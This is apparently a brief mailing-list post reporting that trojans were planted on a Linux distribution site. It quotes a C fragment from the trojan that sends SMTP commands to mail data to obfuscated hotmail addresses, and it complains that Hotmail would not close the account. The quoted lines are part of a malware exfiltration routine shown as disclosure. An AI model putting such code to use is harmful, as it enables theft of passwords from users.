Greetings.  It appears a user with a hotmail address has broken into a
major linux distribution site and replaced code with trojans.  Could you
please lock down these addresses.  Thanks.

              sleep(1);if (write(s,"MAIL FROM:<xul () hotmail com>\n",28)
<
0) exit(0);
              if (write(s,"RCPT TO:<wlogain () hotmail com>\n",30) < 0)
exit(0);

I contacted Microsoft/Hotmail asking them to close the account

I also forwarded the offending code.

The word back from them is that they will not close it.  Theft
of passwords and hacking does not violate thier terms of
service.
